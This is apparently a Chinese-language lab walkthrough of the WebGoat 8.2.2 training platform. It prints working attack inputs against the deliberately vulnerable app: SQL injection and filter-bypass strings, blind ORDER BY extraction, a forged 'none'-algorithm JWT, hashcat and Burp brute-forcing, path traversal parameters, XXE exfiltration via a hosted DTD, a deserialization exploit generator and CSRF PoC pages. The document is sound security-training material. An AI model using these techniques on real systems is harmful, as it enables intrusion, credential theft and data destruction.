摘要:本文档介绍了WebGoat靶机平台在Windows10系统下的使用。其操作过程均在一台主机上完成。该平台涉及的训练项目有http代理、数据库注入、身份校验缺陷、XSS、访问控制缺陷、通信拦截、序列化问题、CSRF、问题组件等内容,帮助学习者学习网络攻防基础,培养网络安全意识。
本文章完成时间:2022年9月10号,部分图片上传失败,择期再更,暂缓更新
注:标题带“ * ”题目可能未做出来
(1)WebGoat/WebWolf官方下载地址:https://github.com/WebGoat/WebGoat/releases
目前最新版本为8.2.2,本次学习以8.2.2为主。
(2)Burp Suite自用版:ddooo.com/softdown/135292.htm
(3)Firefox浏览器(本文推荐使用)
系统:Win10
JDK:17.0.4.1 (不同的WebGoat版本需求的JDK版本不一定相同,以官网说明书为准)
WebGoat-server默认使用8080端口,WebWolf默认使用9090端口
使用以下命令启动WebGoat,如果无法启动,address可以改为ipv4端口,在cmd终端使用ipconfig/all查看。
java -jar webgoat-server-8.2.2.jar --server.port=8080 --server.address=127.0.0.1
使用以下命令启动WebWolf(默认encoding是GBK,要改成utf-8),前期用不上WebWolf
java –jar -Dfile.encoding=UTF-8 webwolf-8.2.2.jar --server.port=9090 --server.address=127.0.0.1
使用http://127.0.0.1:8080/WebGoat/打开WebGoat网站
注册一个新账户、并登录
WebGoat是一个充满漏洞的网络应用程序。
WebWolf是一个单独的Web应用。可以用来托管文件,接收email邮件,显示发来的请求。作为WebGoat的辅助开发,用WebGoat上注册的账号登录。
网址为:http://127.0.0.1:9090/WebGolf/
尝试上传文件
发送邮件,测试是否能正常接收email。点击打开邮件,将唯一代码填入“Go”框,完成
文中大意:这个页面会接收并显示HTTP请求内容。主要作用是利用与其他网站一模一样的陷阱网站欺骗用户,当用户点击了“修改密码”的请求后,这个请求将会被发送到你的WebWolf中,在你的Landing page页面可以看到这个请求,并修改别人的密码,达到盗号的目的。
打开重置密码页面
到WebGolf查看请求,拿到unique code,回填,完成
HTTP介绍
根据要求,在下列输入框输入随意字母或数字,点击“GO!”会反转输入的内容,完成。
【扩展1】
在浏览器中按F12,查看这个输入框的HTML代码
根据网页注释,我们可以知道这个输入框还有XSS风险,尝试一下。
在输入框尝试输入,点击“GO!”,没有反应。
我们把反转的“>tpircs/<;)eikooc.tnemucod(trela>tpircs<”复制过来,再放入输入框中,点“GO!”,攻击成功。
根据题意,我们需要知道某个HTTP请求的方法和其中的magic number。
点击查看提示,按F12打开“网络”选项卡
因为这里没有其它的请求可以发起,我们直接点击“GO!”发送请求,浏览器立即接收到一个attack2的请求,点击查看
我们在attack2请求中找到了这个magic number,看来就是这个请求了。
【扩展1】
该网页的“隐藏”代码中直接显示了这个magic number,每次刷新会改变
1至5介绍如何设置浏览器代理,并用ZAP软件拦截,这里我们使用Burp软件做练习。
浏览器设置代理:
根据题意,我们需要拦截输入框的Submit提交请求。
首先,我们先开启拦截
我这里127.0.0.1:8888代理拦截不到请求,先关闭拦截。
【解决无法拦截127.0.0.1 问题】
(1)Firefox顶部搜索栏输入about:config
(2)搜索栏搜索network.proxy.allow_hijacking_localhost
(3)双击选项,false->true,向上图一样,完成设置,关闭网页。
(4)重启WebGoat
资料来源:https://blog.csdn.net/m0_47470899/article/details/119298514
///结束
(1)开启拦截
(2)点击“Submit”,拦截到以下请求
完成,关闭拦截。
介绍如何使用ZAP和Burp代理,略
介绍使用浏览器的开发者工具(F12),略
根据题目要求,我们要在开发者控制台使用javascript语言获得网站信息
(1)F12
(2)在控制台(console)输入webgoat.customjs.phoneHome(),按回车
介绍了 在sources选项卡中可以查看网站源代码
根据题目要求,我们要在众多HTTP请求中找到特定请求,该请求中有个一个networkNum字段,找到它的值。
(1)打开网络选项卡,清空内容
介绍了信息三要素(机密性、完整性、可用性),任意一要素未被得到保证,信息就很容易泄露。
介绍以下7种密码技术,略
介绍了Base64编码
根据题意,我们要把Base64编码进行解码
解码网址:https://www.107000.com/T-Base64
(1)输入题目提供的编码,点击解码
根据题意,IBM WebSphere他们提供了一个默认的XOR编码密钥,网页上没有给,只能去网站上搜一下。
使用以下XOR默认编码网址:https://strelitzia.net/wasXORdecoder/wasXORdecoder.html
右键可以查看XOR加密源码原理
(1)输入密文,点击加密
(2)将databasepassword填入输入框,提交完成
根据题意,从字典库中破解简单的hash密文
使用以下网址:https://cmd5.com/
类型选择“自动”,查询。
第一个是MD5码,第二个是SHA256
非对称加密,略
题目中给了我们一个RSA私有密钥,要我们解出公钥的模数与数字签名
查看提示,得知我们需要使用openssl命令对密钥解密
因为Linux默认安装了openssl工具,我这里使用腾讯云linux服务器在网页上远程解码。
(1)在linux目录下创建一个test.key文件
(2)编辑文件
(4)给文件赋值权限 chmod 744 test.key
(5)运行openssl命令
(6)得到公钥的模数(modulus)
Modulus=B7FA315C29994A395F8D29400F433F28D9F2B8B279C16DB8D43E9706BEEB3DB20FC427587888D3F4854E5F70D3D4C06AF8319BD4DCCF418331380652E428909D0D9287B7C43898A35156805278AD6A6761A6610ABA9E26CD72517F1A955ECF57FDE4B3EC6DBF7544058A22DFE315AF646AF8CF402CEBED90642CC9323D799434D3D40C235AA62BC9AE7338B6CC595DAF4B5918E35975B864DC045ABCC3941BD78E15D1AD82B39B1AE582242444D48402AC6E5C0A5BB751C0C16F63AE81F7557024B59ADFB0498EAB6361B7F4B5B1201EF9F4F2D41C7F6403D31C26DBCAF8B31634382E29FE75A78D612046438AE60C30F2E194DCE45C62060DB883723732A317
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
…………………………………………
-----END RSA PRIVATE KEY-----
(7)WebGoat第一个输入框,填写下图红框的内容
填写Modulus=之后,writing RSA key之前的内容。注意不要复制到换行符
(8)再执行以下命令。-n表示不输出换行符,字符串是第一个输入框的modulus
对密钥库概念的介绍,略
所谓注入,即是在网站提供的输入框中输入SQL语句,达到对网站数据库的CRUD,可以造成极大破坏。
根据题意,查询Bob Franco所在的部门名称
(1)输入:
select department from employees where first_name=‘Bob’ and last_name=‘Franco’;
DML命令用于对数据表的增删改查(CRUD)
根据题意,我们要将Tobi Barnett的deparment(部门)改成Sales,使用UPDATE命令
*后面题目所使用的数据表默认为“What is SQL?”的中employees表
(1)输入:
update employees set department=‘Sales’ where first_name=‘Tobi’ and last_name=‘Barnett’;
DDL命令用于操作数据库对象的结构
根据题意,我们要在employees表中添加一列phone字段
(1)输入:
alter table employees add phone varchar(20);
DCL命令用于修改数据库对象使用者的访问权限
根据题意,给用户unauthorized_user赋予操作表grant_rights的权限。这里没有限制需要什么权限,我们把CRUD的权限都赋予用户
(1)输入:
grant select, insert, update, delete on grant_rights to unauthorized_user;
正式介绍SQL注入,略
根据题意,通过注入查询表中的所有用户信息,使用以下选项框拼接SQL语句
(1)设置 Smith’ or ‘1’=’1
根据题意,通过注入查询用户表中的所有信息。
(1)第一个输入框:任意整数
(2)第二个输入框:任意整数 or 1=1
根据题意,每个员工使用自己唯一的TAN码查询自己的薪资信息。但是Smith想要偷看其他员工的薪资情况,Smith发现了公司数据库存在注入缺陷,通过注入查询所有同事的信息。
根据题意,通过注入给Smith修改薪资。
(1)第一框输入:
Smith
(2)第二框输入:
3SL99A’; update employees set salary=999999 where auth_tan='3SL99A
根据题意,删除数据库访问日志表。
(1)输入:(根据1.6示例)
Smith’; drop table access_log;–
注入技术介绍,略
根据题意,我们可以通过将多张表联合构造成一张新表,达到获取多张表数据的目的
方法一:
(1)第一个输入框:
Smith’ UNION select 1,user_name, password, ‘2’,‘3’,‘4’,5 from user_system_data;–
方法二:
Smith’ UNION SELECT 1,udt.user_name,udt.password,‘2’,‘3’,‘4’,5 FROM user_data ud RIGHT JOIN user_system_data udt ON ud.userid=udt.userid;–
**注意,这里使用的是right join,表示按右表字段输出,不排除右表的空值行。
介绍了什么是“SQL盲注”。
首先判定是否有盲注漏洞:
(1)在select查询语句最后拼接上and 1=1,如果网页无变化,说明可能存在盲注。
(2)拼接换成and 1=2这种错误语句,如果网页有错误提示,或无返回,说明可以利用盲注。
暴力破解:
(1)前提是知道了要破解的数据库字段
(2)测量长度:and length(password)>10
(3)破解字符:and substring(password,1,1)=2
根据题意,我们需要盗取Tom的账号
查看提示:我们需要拦截这个登录/注册页面的请求,查看是否有可用信息
注册请求:
(1)尝试注册Tom账户,确认Tom的账户名。如下图所示,Tom的账户名为tom
(3)测试寻找密码字段
使用:tom’+or+password=’1
原理:如果SQL语句有错误,response可能会返回语句错误的提示,当字段猜中时,就没有语句错误提示
通过使用字段“password”与“passwor”对比,得出,数据库的注册表的密码列名就是password。
(4)测试密码长度
使用tom’ and (length(password)>10)-- ,拦截请求,右键发送给Repeater,自动符号转换
user already exists,说明tom的密码长度大于10,经过多次测试可以知道Tom的密码长度为23位
(5)密码爆破
输入框输入:tom’ and substring(password,1,1)=’1’— ,拦截请求,右键发送给Intruder
②给两个1添加$,使得 1 1 1变成一个局部变量,变量名可任意取,需要$筐起来。
④进入Intruder/Payloads,负载即是Positions页面的 1 1 1变量,数字默认顺序从左往右递增。
负载1表示遍历第1至第23位数,负载2表示第一个变量(负载1)的所有可能性。
(↑右键文件,另存到本地)
一次没有收集全所有位数的字母,是因为有些请求出错了,经过多次攻击可以集齐所有位字母。
⑥答案:thisisasecretfortomonly
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
t h i s i s a s e c r e t f o r t o m o n l y
略
介绍如何减小SQL注入的缺陷,使用PreparedStatement,略
根据题意,使用PreparedStatement查询数据库
联系3.3, 3.4的示例,得出以下答案
根据题意,有三个要求:①连接到数据库。②查询语句要免疫SQL注入攻击。③至少查询一个字段
(2)根据提示,需要使用try-catch语句书写,如下文的For example例子。
略
根据题意,本题使用了参数化查询,那么要如何攻破这个查询呢?
(1)查看the lesson goal here
网页跳转到了,高级注入篇,示意我们需要再次联合查询?
(2)查看提示,参数化查询是无法使用空格才导致无法使用注入的。
(3)尝试使用别的 字符/转义字符 代替空格。
方法一:使用//注释代替空格
Smith’//UNION//select//1,user_name,//password,//‘2’,‘3’,‘4’,5//from//user_system_data;–
方法二:使用()代理空格,改题不能完全用括号替代
原理:()左右是不需要空格的,任何数字和字母都可以紧挨着括号,
Smith’//UNION(select(1),user_name,password,‘2’,‘3’,‘4’,(5)from//user_system_data);–
根据题意,和上题一样,找到SQL的漏洞
(1)查看提示,表示除了空格,关键字也不能用了
(2)根据提示,我们要找到其他字符代替关键字,如union、and等需要替代字符
方法一:双写绕过关键字
Smith’//union//SEselectLECT//1,user_name,//password,//‘2’,‘3’,‘4’,5//FRfromOM/**/user_system_data;–
这里不知道为什么union关键字没有被参数化查询过滤。
原理:一些应用和防火墙预先 替换/移除 了所有的sql关键词,所以用双写原因就在于中间的关键词会被移除掉,留下组合出我们真正的关键词。
其他方法:
介绍Order by注入攻击,略
根据题意,找到webgoat-prd服务器的ip地址
(1)查看提示,尝试拦截排序请求
(2)拦截排序请求,可以看到排序使用的是GET请求,其中没有带值
(3)右键发送到Repeater,点击发送,查看Response信息
通过修改column=?的值发现Response信息内容排序会发生改变。
(4)尝试使用SQL注入,报错。但是从错误信息中可以获得SQL语句的完整内容。
通过以上信息得知,数据表为servers
结合题目,也就是说我们需要查询的webgoat-prd服务器并不在网页上的列表上,所以我们可能需要使用select ip from servers where hostname=’webgoat-prd’语句查询ip地址,不过这个地方不允许SQL注入,所以只能使用order by想办法。
(5)构造ORDER BY语句
①根据3.11,有order by (case when (true/false) then ip else hostname end
when为true,以ip排序。为false,以hostname排序。这两个字段的排序可以直接在网页上点击排序按钮查看。
②之前的SQL注入中,我们使用过substr(ip,1,1)=’1’语句,返回值是boolean类型,符合①
③如果直接将②语句嵌套到①中的when (①)的话,这里的ip是网页上的四个ip,webgoat-prd服务器还是被隐藏着,所以我们要把②中的“ip”替换成“select ip from servers where hostname=’webgoat-prd’”。
根据③②①结合得到ORDER BY语句如下
ORDER BY (CASE WHEN (substr((select ip from servers where hostname=‘webgoat-prd’),1,1)=‘1’) THEN (ip) ELSE (hostname) END)
(6)暴力破解
手动替换“,”=“%2C”,空格替换为“+”号
题目已经为我们提供了后9位数,这里只需要爆破IP的千三位数即可。
Payloads选项:有效负载1取三位数,负载2取0-9共10位数字。
点击“开始攻击”按钮。
通过请求测试得到30个请求。
通过查看爆破的每个请求的Response信息,判断webgoat-prd的ip地址。
原理:如果为true,Response信息会按以下IP的顺序排列,顺序为-tst/-acc/-dev/-pre-prod
如果为false,Response信息会按Hostname顺序排列,顺序为-acc/-dev/-pre-prod/-tst
(7)根据以上顺序找到3位ip数字
介绍路径遍历攻击,略
根据题意,通过修改文件名称获取网站服务器的系统路径。
(1)上传文件
(2)发送文件
我们发现在C盘下的…/xxxyyy文件目录中创建了一个test文件。(xxxyyy是账户名,每个人不一定相同)
(3)修改文件名称,再次发送
我们在Full Name输入框中加上…/符号,使test文件创建到Pathtraversal目录下。
test文件成功创建到了Pathraversal目录下,完成。
根据题意,系统增加了对…/的过滤功能,我们需要想别的办法把test创建到xxxyyy目录之外。
(1)上传任意文件
(2)使用…/test123上传文件,果然行不通
(3)字符串拼接文件名,再次发送
已知系统过滤了…/字符串,那么是否意味着系统只过滤了“…/”字符串?
尝试将test文件名修改为“…/./test123”,使tes123t文件创建到Pathtraversal目录下
根据题意,系统又升级了安全强度,继续将test文件创建到指定目录之外。
(1)上传任意文件
(2)测试…/./test234文件上传,行不通
(3)查看报错信息
本次,系统是真的上传了我们的文件,
根据题意,点击“Show random cat picture”按钮可以显示某文件下的图片,现在我们需要找到一张名为path-traversal-secret.jpg的图片,读取图片中的secret信息
(1)拦截请求
通过请求信息,我们知道API方法为GET,这意味着图片路径通过url传输
(2)发送正常请求
通过发送上文的请求,我们在获得的Response中看到返回了被拼接的图片名称,多发送几次,发现名称是随机的。
(3)发送不正常的请求
通过GET方法拼接参数,Response返回的错误信息中包含了该目录下所有的图片目录,当前目录下没有我们要找的path-traversal-secret.jpg图片
(4)修改GET参数,遍历路径
将参数改正常参数,为…/1。右键将“…/”字符串转换为URL编码,发送
通过添加两个“…/”回退符号,我们找到了path-traversal-secret.jpg图片
(5)修改参数为 ?id=%2e%2e%2f%2e%2e%2fpath-traversal-secret
通过Response信息得知,使用我们的账户名用SHA-512加密就是这题的答案。完成。
介绍了ZIP压缩文件上传时的文件覆盖问题,略
根据题意,上传一个ZIP文件,ZIP中需要放一张图片
(1)图片压缩
(2)提交文件,完成。
当我们去查看题目中的目录,发现ZIP已经被解压缩。这意味着,如果xxxyyy有相同文件名称的文件的话,将会被新文件覆盖。
正确的做法是,将所有上传的文件都经过一遍安全校验和安全设置,并将文件给一个强随机的文件名,避免文件覆盖问题。
介绍,略
根据题意,要我们删除发送请求中的参数来绕过身份验证
(1)拦截请求,删除参数,再发送
返回错误,意味着参数不能被删除
(4)原理剖析
①已知该Submit的提交请求接口为/WebGoat/auth-bypass/verify-account
②反编译webgoat-server-8.2.2.jar源码,
通过IDEA反编译插件https://plugins.jetbrains.com/plugin/17851-jadx-class-decompiler,得到如下源码
④查看源码
通过查看代码第59/61/88行可知,当参数中存在“%secQuestion%”的变量时请求就可以通过。符号%表示任意字符/串。
介绍JWT,略
根据题意,解码JWT中的Payload部分,找到用户名称
(1)JWT官网解码,完成。
介绍JWT校验流程,略
根据题意,重置网页上各类APP的投票/点赞。
(1)尝试投票
测试已知Guest没有投票权,我们本次使用Tom账户
(2)尝试重置投票
测试已知Tom及其他用户都没有管理员权限
(3)拦截“Reset votes”请求
得到Tom用户的JWT token,尝试修改内容
(4)解码JWT令牌的header和payload
得知令牌由HS512加密,admin为false,header和payload由base64Url编码加密而来。换言之,header和payload是明文加密。
(5)修改header与payload内容,再编码
具体查看【针对 JWT 的几种攻击方法】https://www.cnblogs.com/wjrblogs/p/14361834.html
(6)拼接JWT去掉“=”号,修改请求,发送。完成重置
ewogICJhbGciOiAiTm9uZSIKfQ.eyJpYXQiOjE2NjMyMTEzNTMsImFkbWluIjoidHJ1ZSIsInVzZXIiOiAiVG9tIn0.
介绍解决方法,略
(1)导入对应start到pom
io.jsonwebtoken
jjwt-api
0.10.5
io.jsonwebtoken
jjwt-impl
0.10.5
runtime
io.jsonwebtoken
jjwt-jackson
0.10.5
runtime
(3)查看parseClaimsJwt()的源码注释
Parses the specified compact serialized JWT string based on the builder’s current configuration state and returns the resulting unsigned plaintext JWT instance. This is a convenience method that is usable if you are confident that the compact string argument reflects an unsigned Claims JWT. An unsigned Claims JWT has a Claims body and it is not cryptographically signed. If the compact string presented does not reflect an unsigned Claims JWT, an UnsupportedJwtException will be thrown.
根据生成器的当前配置状态分析指定的紧凑序列化JWT字符串,并返回结果的无签名明文JWT实例。这是一个方便的方法,如果您确信紧凑字符串参数反映了未签名的声明JWT,则可以使用。未签名的索赔JWT具有索赔主体,并且它没有加密签名。如果提供的紧凑字符串不反映未签名的声明JWT,则将引发UnsupportedJwtException。
(4)查看parse()的源码注释
Parses the specified compact serialized JWT string based on the builder’s current configuration state and returns the resulting JWT or JWS instance. This method returns a JWT or JWS based on the parsed string. Because it may be cumbersome to determine if it is a JWT or JWS, or if the body/payload is a Claims or String with instanceof checks, the #parse(String,JwtHandler) method allows for a type-safe callback approach that may help reduce code or instanceof checks.
根据生成器的当前配置状态分析指定的紧凑序列化JWT字符串,并返回结果的JWT或JWS实例。此方法根据解析的字符串返回JWT或JWS。由于确定它是JWT还是JWS,或者正文/有效负载是带有实例检查的声明或字符串可能会很麻烦,因此#解析(字符串,JwtHandler)方法允许一种类型安全的回调方法,这可能有助于减少代码或实例检查。
根据题意,需要我们在本地用字典暴力破解JWT的密钥
(1)下载字典
https://github.com/first20hours/google-10000-english
(2)使用kali linux虚拟机爆破JWT
hashcat -m 16500 jwt.txt -a 3 -w 3 20k.txt --force
(3)将爆破获得密码填入,并更改username,完成
介绍刷新token,略
根据题意,攻击者要利用Tom过期的刷新token来获取访问token,用Tom的账户购物
*如何使用刷新token:https://segmentfault.com/a/1190000013151506
*请求header信息中需要带上authorization: {$token}
(1)获取过期的刷新token
(2)发送支付请求,拦截请求
Burp右键发送请求到Repeater。替换header当中的authorization内容为刷新token。
查看Response可知刷新token已经过期了
(3)更换token时间戳
iat是token签发时间,exp是token过期时间
将iat更改为现在的时间戳,exp改为与iat有1天内时间差的时间戳
(4)更换jwt的header
将新获得的header和payload替换Burp中的authorization信息,并删除加密部分
【Json Web Token 2020 攻击指南】https://www.anquanke.com/post/id/225947
介绍概念,略
根据题意,发邮件到WebWolf中,查看邮件并填入用户名和密码
(1)点击注册
按格式输入邮箱地址
(3)输入账户和密码,完成
介绍钓鱼网站,略
根据题意,更改tom、admin或larry的账户密码
(1)任意输入账户和问题,拦截
我们发现,只有简单的参数作为校验,我们可以尝试暴力破解
(2)网上下载常用颜色列表txt
https://gist.github.com/mordka/c65affdefccb7264efff77b836b5e717
(3)右键将请求发送到Intruder
清除所在负载标记,给username和securityQuestion添加负载标记。
设置Cluster Bomb
(6)开始攻击
查看每个200状态请求的Response,或者length变化
最终得到
tom ,purple
admin, green
larry, yellow
略
根据题意,使用WebWolf邮件,更改Tom的密码
(1)发送邮件给自己
点击忘记密码,先给自己的账户发送一份重置密码邮件
(2)打开邮件的Link重置页面
我们观察到,URL栏有一串随机字符串,这可能是用户的ID
(3)发送邮件给Tom,拦截
替换Host的端口,将8080替换9090(WebWolf端口),是请求经过WebWolf
(4)查看WebWolf的传入请求栏(Incoming Requests)
将密码重置页面中内容,替换成tom的字符串,回车
介绍如何保护自己网站,略
介绍什么样的密码才安全,略
根据题意,设计一个满足四项以上的无法破解的密码
密码应包含:数字、字母大小写、字符
介绍抵御攻击和存储,略
概念,略
根据题意,拦截用户的登录请求
(1)点击“Log in”,拦截请求
(2)从拦截到请求中看到别人的账户和密码
填入输入框,提交,完成
概念,略
根据题意,列出这个论坛网站服务器的系统目录
(1)根据提示输入XML注释,提交,拦截
(2)修改内容
根据1.3示例使用外部注入
介绍XXE,略
根据题意,服务器可能被修改过类型的请求入侵,目标是获取目标服务器的系统根目录
(1)发送评论,拦截
右键将请求发送到Repeater
(3)查看论坛评论
服务器系统根目录显示在了评论区,完成目标。
介绍了Content-Type: application/json ->application/xml攻击;
介绍了XXE DOS攻击。
介绍了XXE 盲注攻击。这里的试验不出来
根据题意,盗取
文件内容。
关系梳理:
WebGoat是当前论坛服务器,里面有我们的目标文件secret.txt
WebWolf是入侵者的服务器,托管了一个attack.dtd攻击文件
流程:
入侵者进入被害者的论坛,发送信息同时用Burp拦截请求,修改自己的评论内容使其远程链接到入侵者的WebWolf网站的attack.dtd文件,attack.dtd文件读取了被害者服务器中的文件信息,被害者服务器将该私密信息返回到论坛中并显示在网页上。
(1)创建attack.dtd文件
(3)在第11题发送任意评论,并拦截请求
(4)修改请求内容,使其调用远程文件
注意:&ping;前面不可以为空,否则请求会报错
直接引用对象介绍,略
根据题意,查看请求中的非显示内容的属性
(1)发送请求
浏览器打开到“网络”项,点击“View Profile”按钮,查看Response内容
根据题意,获取上一题的账户信息
(1)拦截1.3题的“View Profile”请求
从Response可以看到账户的唯一标识userId
(2)使用userId查询账户信息
将URL更改为/WebGoat/IDOR/profile?userId=2342384,发送请求后发现可以查询到相关数据。
(3)填入数据
WebGoat/IDOR/profile?userId=2342384,报错
(4)填入数据2
根据网上查找的其他资料,这里需要填入
WebGoat/IDOR/profile/2342384
根据题意,更改Buffalo Bill的color和role属性
(1)逐个请求查找
按顺序向上或向下查找userId,发现Buffalo的userId为2342388
*这里WebGoat8.2.2出了BUG,查找到Buffalo后这题直接完成了。
(2)更改Buffalo的信息
由题所知,这个请求遵循RESTful规则。
*RESTful:GET查询、POST新增、PUT修改、DELETE删除
将GET方法->PUT
将Buffalo信息复制到请求body中,添加上双引号,构造为json格式
发送请求,完成修改。
根据题意,查找HTML中的隐藏菜单项
(1)F12
在“MY Profile”同级菜单下,有一些未显示的HTML元素,依次打开查看。
发现有两个隐藏的api
根据题意,我们需要用上一题查到的隐藏菜单来获取自己账户的Hash值
(1)发送隐藏请求
打开新标签页,在搜索栏输入以下URL,发送并拦截请求
(2)改造请求
在header中添加Content-Type: application/json,会响应对应的json数据
(3)填入Hash,完成
介绍XSS,即脚本,当前端或后端没有对用户输入进行过滤时,js脚本会在浏览器正常执行,常见的危害:
窃取会话Cookie
创建虚假请求
在页面上创建虚假字段以收集凭据
将您的页面重定向到“不友好”站点
创建伪装成有效用户的请求
窃取机密信息
在最终用户系统上执行恶意代码(活动脚本)
插入恶意和不适当的内容
根据题意,查看WebGoat内各个网页对应的Cookie是否都一样。
(1)F12打开控制台
输入JS命令,回车
(2)测试查看其他网页
发现每个选项卡上的Cookie都相同
(3)填写yes
介绍XSS的危害,略
介绍反射型XSS和基于DOM型XSS
反射型:写入到server,再从server响应到用户的client
基于DOM型:不经过server
略
根据题意,找到可以实行反射型XSS的输入框
(1)测试Quantity输入框
网页上Quantity输入框只能输入数字。
按F12,找到Quantity输入框元素,修改HTML元素属性type为text,并在输入框输入
点击Purchase发送请求,报错,说明不可用。
(2)测试credit card number输入框
输入,点击Purchase
测试成功
基于DOM型的XSS介绍,略
根据题意,我们要找到留在应用程序中的test代码的route,搜索js脚本。
(1)查看js
通过检查,发现有一个GoatRouter.js的文件可能是route文件
(2)GoatRouter.js中搜索路由
由注释可知,这个就是我们要找的路由文件
(3)拼接路由
结合题目 的说明,test路由也应该是按lesson的规则拼接。
根据题意,在新的标签页使用webgoat.customjs.phoneHome()命令。(实际上不需要新的标签页也可以)
(1)新标签页打开http://127.0.0.1:8080/WebGoat/start.mvc#test
(2)按F12打开控制台,输入webgoat.customjs.phoneHome(),回车
(3)返回json数据
(4)将“phoneHoe Response is”中的随机字符串填入输入框,完成
介绍序列化及其漏洞,略
根据:https://www.jianshu.com/p/e873ab5ee71b?u_atoken=0fb4d96d-a29d-423f-9b3e-f595a4335af5&u_asession=01FCeXpCeAXzpWyL33Y35f8Tfxbd_J5YZSFadEfuzrTGp2IjO13514DlQ4MtHmnEaiX0KNBwm7Lovlpxjd_P_q4JsKWYrT3W_NKPr8w6oU7K_eKbA5tYY8QKq-P-RsrgBHzdjoMV1y19BFQvaXcOyBfmBkFo3NEHBv0PZUm6pbxQU&u_asig=05ys7K–yU9hYs81Cf8icpA4d-W2OZNMz_aFhkHf2Jgt5t1-1-WEdr2w69A7VSifztsIbP9pkgem7EfrkSczriIDCW6ZuA937cCoERjUNUhuLMSHLSOA6gM20wBimtxZ0E_h_ApNK4831FofZ3762ottqIOjX3zZlk3nHAzkpieM39JS7q8ZD7Xtz2Ly-b0kmuyAKRFSVJkkdwVUnyHAIJzVF4ozJiK1ILRRI_4zqp9hHLKswZphdU-JCRy0pKOSn5qBR97QLsOYcZJeUxi-_JXu3h9VXwMyh6PgyDIVSG1W9mwKQPscVx9EOQPNeT2hclecGW_siXynM36kaC0W1jRHHsqVst62gF1094xeRXFlNJLu2rwur-5TJTv7sXOsqMmWspDxyAEEo4kbsryBKb9Q&u_aref=6i6NgsKPSnc5HiENGMLTPm09aYo%3D
可知,题目给出的是base64编码后的字符串
尝试一(失败):
使用IDEA反序列化字符串
(1)创建maven工程
(2)导入以下start到pom.xml
org.apache.commons
commons-lang3
3.10
commons-codec
commons-codec
1.14
(3)使用base64反序列化
public class test {
public static void main(String[] args) throws Exception {
String str = “rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l”;
Serializable deserialize = deserialize(str);
}
public static byte[] stringToByte(String str) throws DecoderException {
//转换成base64
return org.apache.commons.codec.binary.Base64.decodeBase64(str);
}
public static T deserialize(String str) throws Exception{
if(StringUtils.isNotEmpty(str)){
ByteArrayInputStream bai=null;
ObjectInputStream ois=null;
try{
bai=new ByteArrayInputStream(stringToByte(str));
ois=new ObjectInputStream(bai);
return (T)ois.readObject();
}catch (Exception e){
e.printStackTrace();
throw new Exception(“字符串反序列化对象失败:”+String.valueOf(str));
}finally {
try {
if(ois!=null){
ois.close();
}
if(bai!=null){
bai.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
return null;
}
}
(4)反序列化结果,失败
尝试二(失败):
利用1.3题的漏洞攻击,使服务器sleep五秒
(1)按1.3题创建相同的VulnerableTaskHolder类
(2)生成利用漏洞的序列化字符串
public class test2 {
public static void main(String[] args) throws Exception {
VulnerableTaskHolder go = new VulnerableTaskHolder(“sleep”, “sleep 5s”);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String s = bytesToString(exploit);
System.out.println(s);
}
public static String bytesToString(byte[] bytes) {
//转换成base64
return org.apache.commons.codec.binary.Base64.encodeBase64String(bytes);
}
}
尝试三(失败):
利用1.3题的漏洞攻击及WebGoat源码,使服务器sleep五秒
(1)获取WebGoat的VulnerableTaskHolder类源码
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime = LocalDateTime.now();
@Override // java.lang.Object
public java.lang.String toString() {
throw new UnsupportedOperationException(“Method not decompiled: org.dummy.insecure.framework.VulnerableTaskHolder.toString():java.lang.String”);
}
public VulnerableTaskHolder(String taskName, String taskAction) {
this.taskName = taskName;
this.taskAction = taskAction;
}
private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
if (this.requestedExecutionTime != null && (this.requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) || this.requestedExecutionTime.isAfter(LocalDateTime.now()))) {
throw new IllegalArgumentException(“outdated”);
} else if (this.taskAction.startsWith(“sleep”) || this.taskAction.length() < 22) {
try {
BufferedReader in = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(this.taskAction).getInputStream()));
while (true) {
String line = in.readLine();
if (line != null) {
} else {
return;
}
}
} catch (IOException e) {
}
}
}
}
介绍java组件,略
介绍不同版本的jquery漏洞,点击“Go!”,完成。
介绍OSS清单等,略
根据题意,找到CVE的漏洞
(1)查阅CVE
总结:①组件若没有升级策略,漏洞风险很高。②开源组件是容易受攻击的组件
怎么降低风险:①生成OSS组件清单。②制定开源组件风险管理。
CSRF顾名思义是来自跨站的攻击。用户同时登录了正常网站A和恶意网站B,B网站直接通过调用A网站的API接口来达到攻击目的。如账户转移等。
CSRF是利用了浏览器的Cookie会自动添加到请求的机制,使得恶意网站不需要知道正常网站的Cookie内容就可以直接发送请求,浏览器会自动补全Cookie。
根据题意,对用户登录的请求源地址进行更换。
(1)拦截“提交查询”请求
(2)更改为外部源
将发送主机的Host更改为WebWolf的端口(我当前WebWolf的端口为9090)
(3)从新页面获取到flag值
根据题意,伪造当前账户进行发送评论。当前我的WebGoat账户为xxxyyy,题意为假冒xxxyyy用户发评论。
tip:没有Burp专业版也可以做
(1)拦截用户发评论的请求,用于构造假网站
右键生成CSRS PoC。实际上就是生成一个假网站(甚至可以自己手写假网站)。
注意这里请求的值可以任意更改。
(2)复制CSRF HTML内容,桌面创建一个csrf.html
将html内容复制进来。
(3)打开csrf.html网页
你的WebGoat使用的什么浏览器,csrf.html就用那个浏览器打开
点击“Submit Request”,完成
根据题意,再次对当前邮件做CSRF。
*没有Burp专业版也可以手写网站完成
注意:这个here网址,为我们提供了一些思路
(1)填写上邮件内容,拦截
右键生成CSRF PoC。
(2)尝试第一次CSRF
第一次不做任何内容更改,浏览器输入URL打开
解释:
根据错误信息,已知是“格式/语法错误”。看红线第二行,语法中出现了错误的‘=’号使用。看第三行红线是解析的数据信息,尾部出现了错误的“=”号。
(2)第二次尝试
这是我的form表单中的内容,其中并没有等号。
